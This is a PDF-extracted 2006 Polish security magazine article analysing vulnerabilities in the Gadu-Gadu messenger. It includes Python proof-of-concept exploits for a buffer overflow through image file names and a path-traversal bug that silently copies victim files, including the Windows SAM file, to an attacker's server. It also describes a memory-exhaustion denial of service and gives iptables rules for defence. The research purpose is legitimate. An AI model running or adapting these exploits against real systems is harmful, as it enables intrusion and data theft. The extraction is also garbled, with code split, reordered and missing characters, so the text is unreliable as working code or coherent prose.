2006.01_Analiza bezpieczeństwa komunikatora internetowego z wykorzystaniem platformy Linux_[Bezpieczenstwo].pdf

(427 KB) Pobierz
332764263 UNPDF
bezpieczeństwo
Analiza
bezpieczeństwa
komunikatora
internetowego
z wykorzystaniem platformy Linux
Błażej Miga, Jarosław Sajko
u boku poczty elektronicz-
nej, panującej od wielu lat
w królestwie usług komu-
nikacji internetowej, wyrósł jej w ciągu
ostatnich lat nie mniej potężny i niewie-
le mniej popularny książę – komunika-
tor internetowy (ang. instant messenger ).
Zagościł on nie tylko w domostwach zwy-
kłych ludzi, ale również w małych, więk-
szych i największych korporacjach i insty-
tucjach administracji publicznej, stając
się tym samym narzędziem komunikacji
o wszechstronnym zastosowaniu. Pakiety
komunikatorów niosą informacje różnej
kategorii, począwszy od plotek i uzgod-
nień co do miejsca wieczornego spotkania,
a skończywszy na mniej jawnych infor-
macjach, np. szczegółach umowy handlo-
wej czy też danych dostępowych. Jestem
przekonany, ze niejeden administrator
sieci próbował walczyć z komunikatora-
mi do czasu, gdy okazało się, że są one
niemal tak potrzebne w pracy, jak telefony.
Teraz te walki mogą mieć jedynie charak-
ter ambicjonalny, ponieważ faktem stało
się, że komunikator stał się tak niezbęd-
ny, jak email.
Z tego powodu nasze przekonanie,
że bezpieczeństwo aplikacji komunikato-
ra internetowego jest nie mniej krytycz-
ne dla bezpieczeństwa całej infrastruk-
tury niż bezpieczeństwo przeglądania
stron WWW, systemu poczty elektronicz-
nej czy też fakt istnienia poprawnie skon-
igurowanego systemu zapory sieciowej.
Postanowiliśmy przyjrzeć się, jak wyglą-
da poziom bezpieczeństwa naszych rodzi-
mych komunikatorów. Trudno nie zgo-
dzić z faktem, że jednym z najbardziej
popularnych jest Gadu-Gadu. To on wła-
śnie stał się tym, który poszedł na pierw-
szy ogień. To właśnie na jego przykła-
dzie postaramy się zaprezentować meto-
dykę analizy tego typu aplikacji, miejsca,
gdzie mogą pojawić się słabe punkty oraz
pokazać przykładowe narzędzia do testów
penetracyjnych.
Platformą, na której będą uruchamia-
ne wszystkie narzędzia oraz kody testu-
jące podatności, będzie Linux, ponieważ
system ten doskonale sprawdza się jako
system do przeprowadzania testów pene-
tracyjnych. Podczas prezentowania kon-
kretnych błędów bezpieczeństwa będą
wyszczególniane dwie wersje klienta dla
systemu Windows, tzn. wersja 6 build 154
oraz wersja 7 build 20 – dla nich będą pre-
zentowane kody proof-of-concept napisane
w Pythonie .
DVD
Po uruchomieniu Linux+ Live
DVD można skorzystać z kilku
komunikatorów internetowych,
w tym Kadu.
Na płycie DVD
Na płycie DVD znajdują się kody
proof-of-concept dla większości
prezentowanych błędów
bezpieczeństwa.
Potencjalne problemy
W grudniu 2004 roku Zespół Bezpieczeństwa
PCSS publikował informacje o podatno-
ściach na pewne klasy ataków występują-
cych w aplikacjach klienckich Gadu-Gadu ,
Tlen.PL oraz WPKontakt . Dwie z nich
były związane ze schematem komuni-
kacji i protokołem wykorzystywanym
przez GG. Właśnie je postaramy się teraz
opisać. W zasadzie mogłyby to być przy-
kłady tego, jak nie należy projektować
protokołu i jak nie należy implementować
jego obsługi.
Krytyczne dla bezpieczeństwa aplika-
cji jest to, w jaki sposób aplikacja ta obcho-
O autorach
Autorzy to pracownicy Zespołu
Bezpieczeństwa Poznańskiego
Centrum Superkomputerowo–
Sieciowego , który zajmuje
się m.in. administracją
systemów bezpieczeństwa
teleinformatycznego,
audytami bezpieczeństwa,
testami penetracyjnymi oraz
analizą kodów.
28 styczeń 2006
M ożna zaryzykować tezę, że
332764263.043.png 332764263.044.png 332764263.045.png
 
332764263.001.png 332764263.002.png 332764263.003.png 332764263.004.png 332764263.005.png 332764263.006.png 332764263.007.png 332764263.008.png
 
niebezpieczne gadu-gadu
bezpieczeństwo
Serwer Komunikacyjny
niem obrazków w GG w wielu wersjach.
Dołączony do artykułu kod proof-of-con-
cept będzie miał zastosowanie dla wersji 6
build 154 oraz 7 build 20, ale z pewnością
można go ulepszyć tak, aby można go było
zastosować dla innych wersji, do czego
gorąco zachęcam.
Jak wiadomo, poza czystymi wiado-
mościami tekstowymi, można komuś w
tekście wysłać obrazek. Jak to się odbywa?
Najpierw wysyłana jest struktura z infor-
macją o tym, że tekst będzie zawierał obra-
zek. Obrazek identyikowany jest przez roz-
miar i sumę kontrolną. Jeżeli nasz rozmów-
ca nie ma obrazka o takiej samej sumie kon-
trolnej i rozmiarze, czyli nie ma jeszcze na
dysku obrazka, który chcemy wyświetlić
w jego okienku komunikatora, to wysyła
nam prośbę o dosłanie mu tego obrazka.
Dosyłamy go wraz ze standardową struk-
turą, która go opisuje. Zawiera ona rów-
nież nazwę obrazka, która jest źródłem pro-
blemów:
Serwer Komunikacyjny
Klient A
Klient B
Klient A
Klient B
Rysynek 1. Klient A nawiązuje połączenie
bezpośrednie z pominięciem serwera
komunikacyjnego
Rysunek 2. Klient A wysyła komunikat
do klienta B za pośrednictwem serwera
komunikacyjnego z żądaniem nawiązania
połączenia, a klient B w odpowiedzi
nawiązuje połączenie
dzi się z danymi dostarczonymi do niej
z zewnątrz, a w szczególności przez użyt-
kownika, który może mieć nieczyste intencje.
Żelazną regułą przy operacjach na danych
dostarczanych przez użytkownika do pro-
gramu jest brak zaufania do tych danych i w
związku z tym dokładne i ostrożne spraw-
dzenie ich pod kątem poprawności przed
ich przetworzeniem. Pogwałcenie tej reguły
może skutkować tym, że program napisany
w celu wykonywania konkretnych czynno-
ści będzie mógł posłużyć komuś do wyko-
nania zupełnie innych czynności, nie prze-
widzianych specyikacją.
Takie zdarzenie miało miejsce w przy-
padku błędu związanego z przesyła-
no na stercie, jak i na stosie, co z kolei
można wykorzystać do wykonania
kodu atakującego na komputerze
oiary.
• W wersji 7 build 20 i prawdopodobnie
starszych długość nazwy pliku jest co
prawda sprawdzana (tzn. czy jest ona
mniejsza niż 200 znaków i takiej też
stałej wielkości jest bufor alokowany
na stosie), ale do tego bufora kopio-
wana jest nazwa pliku doklejona naj-
pierw do nazwy katalogu imgcache\ ,
a więc w brzegowym przypadku
łańcuch znaków o 9 bajtów przekra-
cza swoją długością zaalokowany dla
niego bufor. Konsekwencje tego prze-
pełnienia w wersji 7 są zdecydowanie
mniej groźne, gdyż aplikacja zosta-
ła skompilowana z ochroną stosu
(StackGuard).
• W wersjach 7 oraz 6 i prawdopodob-
nie wszystkich wcześniejszych nazwa
pliku, która jest ustalana przez osobę
wysyłająca obrazek, nie jest spraw-
dzana pod kątem zawartości nazw
urządzeń specjalnych, tzn. możemy
nazwać plik z obrazkiem tak, jak
urządzenie specjalne, czyli np. AUX,
LPT1, COM1 itd... Można tę podat-
ność wykorzystać do wykonania ope-
racji czytania bądź pisania do takiego
urządzenia, co w najlepszym przypad-
ku zablokuje klienta GG.
• W wersjach z rodziny 6 nazwa pliku
nie jest sprawdzana pod kątem
zawartości prawie wcale, więc mo-
żemy w nazwie plików użyć tagów
HTML czy też referencji \..\, co w efe-
kcie może prowadzić do wykona-
nia kodu atakującego na kompute-
rze oiary.
• W wersji 6 build 154 i prawdopodob-
nie starszych nazwa pliku jest kopio-
wana do bufora bez sprawdzania jej
długości, a bufor do której jest kopio-
wana, jest obszarem o stałej wielko-
ści, alokowanym najpierw na ster-
cie, a następnie na stosie. Prowadzi
to do przepełnienia bufora, zarów-
Schematy komunikacji w Gadu-Gadu
W przypadku, gdy chcemy wysłać komu-
nikat tekstowy do użytkownika o zadanym
numerze, nasza aplikacja kliencka wysyła
komunikat do serwera komunikacyjnego.
Po przepakowaniu do innej struktury, treść
komunikatu wysyłana jest do odbiorcy. W
tym przypadku mamy komunikację z uży-
ciem centralnego serwera. Opcjonalne w
tym schemacie jest potwierdzenie odbio-
ru nadawane przez odbiorcę po otrzyma-
niu komunikatu.
Aby nawiązać połączenie bezpo-
średnie, komunikator musi znać adres,
z którym ma się połączyć (jest on wysy-
łany do serwera komunikacyjnego pod-
czas logowania). Oczywiście, nie zawsze
nawiązanie bezpośredniego połączenia
jest możliwe, np. w sytuacji, gdy czyjś kom-
puter jest za NAT. W takiej sytuacji mamy
dwa rozwiązania:
można z nim nawiązywać połączenia
z zewnątrz;
• innym sposobem jest skorzystanie
z możliwości poproszenia drugiego
użytkownika o nawiązanie połączenia
z adresem przez nas podanym, tzn.
za pomocą specjalnego pakietu prze-
słanego do użytkownika przez serwer
komunikacyjny wywołać po stronie
odbiorcy procedurę nawiązywania po-
łączenia zwrotnego z adresem poda-
nym przez nas podczas logowania się
do systemu. Tym specjalnym pakietem
jest pakiet CTCP z pierwszym bajtem
danych o wartości 1.
Jak widać, mamy tutaj w ogólności dwa
schematy komunikacji: jeden to opisany
wcześniej schemat z centralnym serwe-
rem, a drugi to schemat połączeń bezpo-
średnich, które są realizowane z pominię-
ciem serwera komunikacyjnego, z tym, że
ich inicjalizacja może wymagać serwera
komunikacyjnego.
• użytkownik może podczas logowa-
nia podać adres zewnętrzny, np. adres
bramy do Internetu, poprzez który będzie
www.lpmagazine.org
29
332764263.009.png 332764263.010.png 332764263.011.png 332764263.012.png 332764263.013.png 332764263.014.png 332764263.015.png 332764263.016.png 332764263.017.png
bezpieczeństwo
Listing 1. Kod proof-of-concept dla przepełnienia bufora nazwy obrazka przesyłanego w ramach rozmowy (dla wersji klienta 7 build 20).
#!/usr/bin/python
import socket
import struct
import sys
from select import select
from random import randint
GG_VERSION = " \x 26 \x 00 \x 00 \x c2"
GG_LOGIN = 0x15 ; GG_MSG = 0x0b
GG_NOTIFY = 0x0f
GG_NOTIFY_LAST = 0x10 ; NUL = " \x00 "
def ip2b(ip) :
s = ""
for o in ip . split ( "." ):
s += chr ( int ( o ))
return s
def compute_hash ( password , seed ):
y = long(seed) ; x = long ( 0 ) ; z = long ( 0 )
for i in range (0, len (password)):
x = ( x & 0xffffff00L ) | ord ( password [ i : i + 1 ])
y = (y^x)& 0xffffffffL ; y = (y+x)& 0xffffffffL
x = ( x << 8 )& 0xffffffffL ; y = ( y ^ x )& 0xffffffffL
x = (x<< 8 )& 0xffffffffL ; y = (y-x)& 0xffffffffL
x = ( x << 8 )& 0xffffffffL ; y = ( y ^ x )& 0xffffffffL
z = (y & 0x1f )& 0xffffffffL
y = (( y << z ) | ( y >> ( 32 - z ))& 0xffffffffL )
return int (( y & 0xffffffffL ))
class GGConnection :
def send ( self , ptype , pcontent ):
self . sck . send ( struct . pack ( "II" , ptype , len ( pcontent )))
self . sck . send ( pcontent )
def recv ( self ):
ptype , plen = struct . unpack ( "II" , self . sck . recv ( 8 ))
pcontent = self . sck . recv ( plen )
return ptype , pcontent
def poll ( self , timeout = 0 ):
ready = select ([ self . sck ] , [] , [] , timeout )
if ready [ 0 ] == []:
return 0
return 1
def createLoginStruct ( self , seed , status ,
self.send ( GG_LOGIN, buff )
if self . recv ()[ 0 ] == 3 :
return 1
else :
return 0
def connect ( self , dccIP , dccPort , status = 2 ):
myIP = socket . gethostbyname ( socket . gethostname ())
ipAddress = " 217.17.41.85 " ; tcpPort = 443
servAddress = ( ipAddress , int ( tcpPort ))
self . sck = socket . socket ( socket . AF_INET ,
S
socket . SOCK_STREAM )
self . sck . connect ( servAddress )
self . sck . settimeout ( 60 )
print "[GG] Connected!"
seed = struct . unpack ( "I" , self . recv ()[ 1 ])[ 0 ]
buff = self . createLoginStruct ( seed , status ,
S
myIP , dccIP , dccPort )
if self . login ( buff ):
print "[GG] Logged in."
else :
print "[GG] Login Failed."
def disconnect ( self ):
print "[GG] Disconnected."
self . sck . close ()
def sendImage ( self , uin , imageSize , imageContent ):
imageChecksum = struct . pack ( "i" , ( randint
S
S
(- sys . maxint , sys . maxint )))
img = " \x09\x01 " ; img += struct.pack ( "i" , imageSize )
img += imageChecksum ; rich = " \x 00 \x 00 \x 80"
rich += img
buff = struct . pack ( "iii" , int ( uin ) , self . seq , 0x28 )
buff += struct . pack ( "bb" , 0 , 2 )
buff += struct . pack ( "h" , len ( rich )) ; buff += rich
self.send(GG_MSG, buff) ; self.seq += 1
imageReply = struct . pack ( "bb" , 0 , 5 )
imageReply += struct . pack ( "i" , imageSize )
imageReply += imageChecksum
imageReply += imageContent
buff = struct . pack ( "iii" , int ( uin ) , 0 , 4 )
buff += imageReply
self . send ( GG_MSG , buff )
if __name__ == "__main__" :
if len ( sys . argv ) < 4 :
print "usage: cmd <your uin> <your password>
myIP , dccIP , dccPort ):
passhash = compute_hash ( self . password , seed )
buff = struct . pack ( "III" , self . uin , passhash , status )
buff += GG_VERSION ; buff += NUL
buff += ip2b(myIP) # dcc data
buff += struct . pack ( "H" , dccPort )
if myIP != dccIP :
buff += ip2b(dccIP) ; buff += struct.pack ( "H" , dccPort )
else :
buff += 6 * NUL
# image size in kilos, unknown
buff += struct . pack ( "BB" , 100 , 190 )
return buff
def __init__ ( self , uin , password ):
self . uin = uin ; self . password = password ; self . seq = 0
def login ( self , buff ):
S
<victim's uin>"
sys . exit ()
myUin = int ( sys . argv [ 1 ]) ; myPass = sys . argv [ 2 ]
victimsUin = int ( sys.argv [ 3 ])
imageName = 199 * "A" + " \x 00"
imageContent = "ABCDEFGHIJ"
g = GGConnection ( myUin , myPass )
g . connect ( "0.0.0.0" , 0 , 0x14 )
g . sendImage ( victimsUin , len ( imageContent ) ,
S
imageName + imageContent )
print "[Main] Payload has sent"
g . disconnect () ; sys . exit ()
30 styczeń 2006
332764263.018.png 332764263.019.png 332764263.020.png
 
332764263.021.png 332764263.022.png 332764263.023.png 332764263.024.png 332764263.025.png
 
niebezpieczne gadu-gadu
bezpieczeństwo
Jest to tylko jeden z elementów przesyła-
nej struktury, a jak widać, może przyspo-
rzyć wielu problemów związanych z bez-
pieczeństwem. Prawie we wszystkich wer-
sjach aplikacji, również w ostatniej (na
dzień pisania artykułu), występują pro-
blemy z nazwą pliku, która tak naprawdę
nie jest potrzebna. Wystarczy, że nadawca
określi treść, a nazwę, pod jaką plik z gra-
iką jest zapisywany w cache'u, może usta-
lać odbiorca.
Na Listingu 1 znajduje się ilustracja
dla błędu związanego z przepełnieniem
bufora. Jest to kod działający dla wersji
7 build 20 klienta GG dla Windows oraz
prawdopodobnie starszych. Listing ten,
poza funkcją main , która z punktu widze-
nia tego proof-of-concept jest najważniej-
sza, zawiera również klasę GGConnection ,
która realizuje połączenie z serwerem
komunikacyjnym i autoryzację. Będzie
ona wykorzystywana we wszystkich przy-
kładach. Jej metoda connect jest odpowie-
dzialna za przeprowadzenie procedury
autoryzacji użytkownika w systemie, jak
również korzysta pośrednio z funkcji com-
pute_hash , która jest z kolei odpowiedzial-
na za obliczenie skrótu hasła na podstawie
otrzymanej wartości seed . Przy połączeniu
pomijany jest krok z łączeniem się z ser-
werem WWW i pobieraniem adresu ser-
wera komunikacyjnego, więc może zda-
rzyć się tak, że będzie konieczna ręczna
zmiana adresu zapisanego w ciele metody.
W kodzie w main nawiązujemy połączenie
z serwerem, podając swoje dane dostępo-
we oraz status 0x14, co oznacza, że naszym
początkowym statusem ma być “niewi-
dzialny”. Następnie wysyłamy do komu-
nikatora, który testujemy, pakiet z obraz-
kiem. To on, a dokładniej zawarta w nim
nazwa, powoduje przepełnienie bufora
w testowanym komunikatorze.
Innym miejscem, któremu postanowi-
liśmy się przyjrzeć, były połączenia bez-
pośrednie. Gadu-Gadu, jak również inne
komunikatory, wykorzystuje je np. do
przesyłania plików pomiędzy użytkow-
nikami. W przypadku GG okazało się,
że obsługa tych połączeń zawiera kilka
podatności godnych uwagi.
Pierwsza i być może najciekawsza
występowała w wersjach 6 build 154
i wcześniejszych. Zaprogramowana jest
w nich funkcjonalność służąca do przesy-
łania plików z katalogu _cache (najczęściej
znajdują się tam pliki z bannerami) jed-
nego komunikatora do drugiego z wyko-
rzystaniem bezpośredniego połączenia
Listing 2. Przykład wykorzystania podatności związanej z przesyłaniem plików przez
połączenia bezpośrednie (dla wersji 6 build 154)
# ! / usr / bin / python
...
def b2i ( bts ):
return (( 1 * ord ( bts [ 0 ]))+( 256 * ord ( bts [ 1 ]))+( 65536 * ord ( bts [ 2 ]))
S
+( 16777216 * ord ( bts [ 3 ])))
def runServer ( servaddress , ilename ):
try :
print "[DCC Server] Server started"
output = ilename . split ( " \\ " )[- 1 ]
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s . bind ( servaddress ) ; s . listen ( 1 ) ; ( conn , address ) = s . accept ()
conn . settimeout ( 5.0 )
print "[DCC Server] Connection accepted"
tmp = conn . recv ( 4 ) ; tmp = conn . recv ( 4 )
conn.send ( "UDAG" ) ; tmp = conn.recv ( 4 )
print "[DCC Server] Authorization OK"
fname = " \x 01" + ilename + " \x 00"
buff = " \x 04 \x 00 \x 00 \x 00"
buff += struct . pack ( I ”, len ( fname ))
buff += fname ; conn . send ( buff ) ; conn . recv ( 8 )
conn . recv ( 1 + len ( ilename )) ; conn . recv ( 4 )
length = b2i ( conn . recv ( 4 )) - len ( ilename ) - 2
print "[DCC Server] File length: %d" % length
conn . recv ( 2 + len ( ilename )) ; f = ile ( output , "wb+" )
while length > 0 :
if length > 4096 :
buff = conn . recv ( 4096 )
elif length <= 4096 :
buff = conn . recv ( length )
f . write ( buff )
length = length - len ( buff )
print "[DCC Server] File written"
conn.close () ; f.close ()
except :
print "[DCC Server] No such ile or not exploitable"
if __name__ == "__main__" :
myIP = socket . gethostbyname ( socket . gethostname ())
myPort = 443
if len ( sys . argv ) < 5 :
print "usage: cmd <your uin> <your password> <victim's uin> <ilename>"
sys . exit ()
myUin = int ( sys.argv [ 1 ]) ; myPass = sys.argv [ 2 ]
victimsUin = int ( sys . argv [ 3 ])
fname = sys . argv [ 4 ]
serverThread = Thread ( None , runServer ,
www.lpmagazine.org
31
S
"ServerThread" , (( myIP , myPort ) , fname ) , {} )
serverThread . start ()
g = gg . GGConnection ( myUin , myPass )
g . connect ( myIP , myPort )
g . sendNotify ([ victimsUin ])
g . sendCtcp ( victimsUin , 1 )
serverThread . join ()
g . disconnect ()
332764263.026.png 332764263.027.png 332764263.028.png 332764263.029.png 332764263.030.png 332764263.031.png 332764263.032.png 332764263.033.png
bezpieczeństwo
Listing 3. Koniguracja zapory sieciowej do zabezpieczania przed połączeniami
nawiązywanymi z zewnątrz
ne miejsce zawiera klasę i funkcje pomoc-
nicze, tak jak na Listingu 1. W tym przy-
padku wykorzystujemy połączenia bez-
pośrednie, więc podczas logowania poda-
jemy adres dla takich połączeń, jak rów-
nież uruchamiamy wątek serwera (jest
on odpowiedzialny za przyjęcie nadcho-
dzącego połączenia oraz wysłanie żądania
nadesłania pliku).
W wersjach 7, 6 oraz najprawdopo-
dobniej we wszystkich innych proto-
kół używany do połączeń bezpośred-
nich przesyła dane w nienumerowanych
pakietach. Ponadto, reaguje on na żąda-
nia protokołu w większości przypadków
bez dodatkowych warunków wewnętrz-
nych. W związku z tym możliwe jest
wysłanie pakietu z kodem błędu informu-
jącym np. o tym, że użytkownik nie chce
odebrać pliku, podczas gdy żaden plik nie
był wysyłany. Co więcej, w komunikacie
takim nie będzie zawarta informacja, który
użytkownik nie chce odebrać tego pliku.
Wysyłając ciągle ten sam pakiet można
wymusić wielokrotne wyświetlanie takie-
go i tak nie prawdziwego komunikatu, co
tworzy podatność na atak na dostępność.
Rozwiązaniem tego problemu byłoby
z pewnością przechowywanie wewnętrz-
nie stanu nawiązanych połączeń.
Innym przykładem programistycz-
nego błędu jest sytuacja, która dotyczy
obsługi niektórych żądań przesyłanych za
pomocą połączeń bezpośrednich. Są one
w nowej wersji (rodzina wersji 7) obsłu-
giwane w taki sposób, że możliwe jest
zaalokowanie pamięci bez wykonania ob-
sługi żądania, co z kolei prowadzi czasem
do takich sytuacji:
# Wyczyszczenie wszystkich tablic iptables
iptables -F
iptables -F -t nat
# Domyślne zblokowanie całego ruchu
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
# Zezwolenie na ruch, który odbywa się w ramach utworzonych połączeń
iptables –A FORWARD –j ACCEPT –m state –-state ESTABLISHED
iptables –A FORWARD –j ACCEPT –m state –-state RELATED
iptables –A INPUT –j ACCEPT –m state –-state ESTABLISHED
iptables –A INPUT –j ACCEPT –m state –-state RELATED
iptables –A OUTPUT –j ACCEPT –m state –-state ESTABLISHED
iptables –A OUTPUT –j ACCEPT –m state –-state RELATED
# Zezwolenie na tworzenie połączeń z sieci lokalnej
iptables –A FORWARD –o ppp0 –j ACCEPT –m state –-state NEW
iptables –A OUTPUT –o ppp0 –j ACCEPT –m state –-state NEW
# Maskarada dla wszystkich hostów z sieci lokalnej
iptables -t nat -A POSTROUTING -p all -s 10.0.0.0/24 -j MASQUERADE
pomiędzy nimi. Całość przebiega mniej
więcej w następujący sposób:
czeniem odsyłany do żądającego. Do-
kładniej rzecz ujmując, odsyłane jest 64
kB tego pliku.
• Komunikator nawiązuje połączenie bez-
pośrednie z osobą ze swojej listy kon-
taktów. Osoba, z którą jest nawiązywa-
ne połączenie, musi mieć nas na swojej
liście kontaktów. Połączenie nawiązy-
wane jest według schematów z ramki
Schematy komunikacji w Gadu-Gadu ,
a więc możliwe jest nawiązanie połącze-
nia z osobą znajdującą się za NAT-em.
• Po przeprowadzeniu procedury auto-
ryzacyjnej strona inicjalizująca połą-
czenie wysyła żądanie z nazwą pliku
i plik o takiej nazwie jest tym połą-
I tym razem nie jest sprawdzane, co ta
nazwa pliku zawiera, więc może znaj-
dować się w niej ..\..\..\..., co daje nam
podatność umożliwiającą kradzież
danych. Dodatkowym problemem jest
tutaj to, że całość tej operacji odbywa się
bez informowania użytkownika, że takie
procesy zachodzą. Możemy bez problemu
pobrać plik z koniguracją GG, listę kon-
taktów, czy też plik SAM z katalogu win-
dows . Ilustracja tej podatności znajduje się
na Listingu 2, na którym wykropkowa-
Listing 4. Regułki IPTables wykrywające łączenie się klientów Gadu-Gadu z sieci lokalnej
• wysyłamy do oiary żądanie nawiązania
połączenia zwrotnego z adresem poda-
nym przez nas podczas logowania;
• tym nawiązanym przez klienta oiary
połączeniem bezpośrednim wysyła-
my żądanie o kodzie np. 3, z informa-
cją, jak dużą porcję pamięci klient ma
zaalokować (wielkość ta musi być nie
większa niż 64kB);
• wysyłamy te 64kB danych i przecho-
dzimy do kroku drugiego.
S
0:255 –m state ESTABLISHED –m length –-length 46:375 –m u32 –-u32
S
217.17.41.95 –m mport –-ports 8074,443 –m connbytes –-connbytes
S
S
“0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG –-log-preix
S
217.17.46.255 –m mport –-ports 8074,443 –m connbytes –-connbytes S
0:255 –m state ESTABLISHED –m length –-length 46:375 –m u32 –-u32
S
S
“0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG –-log-preix
S
217.17.45.159 –m mport –-ports 8074,443 –m connbytes –-connbytes S
0:255 –m state ESTABLISHED –m length –-length 46:375 –m u32
Jest to algorytm wykorzystujący podat-
ność na atak na dostępność aplikacji.
W dosyć krótkim czasie jesteśmy w stanie
wymusić zaalokowanie dużej ilości pamię-
ci przez klienta GG naszego rozmówcy.
Błędów związanych z obsługą połą-
czeń bezpośrednich jest jeszcze kilka, ale
S
S
–-u32 “0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG
–-log-preix “GG LOGIN: “ –-log-level debug
32 styczeń 2006
iptables –A FORWARD –p tcp \! –f –m iprange –-dst-range 217.17.41.80-
“GG LOGIN: “ –-log-level debug
iptables –A FORWARD –p tcp \! –f –m iprange –-dst-range 217.17.46.248-
“GG LOGIN: “ –-log-level debug
iptables –A FORWARD –p tcp \! –f –m iprange –-dst-range 217.17.45.128-
332764263.034.png 332764263.035.png 332764263.036.png
 
332764263.037.png 332764263.038.png 332764263.039.png 332764263.040.png 332764263.041.png 332764263.042.png
 
Zgłoś jeśli naruszono regulamin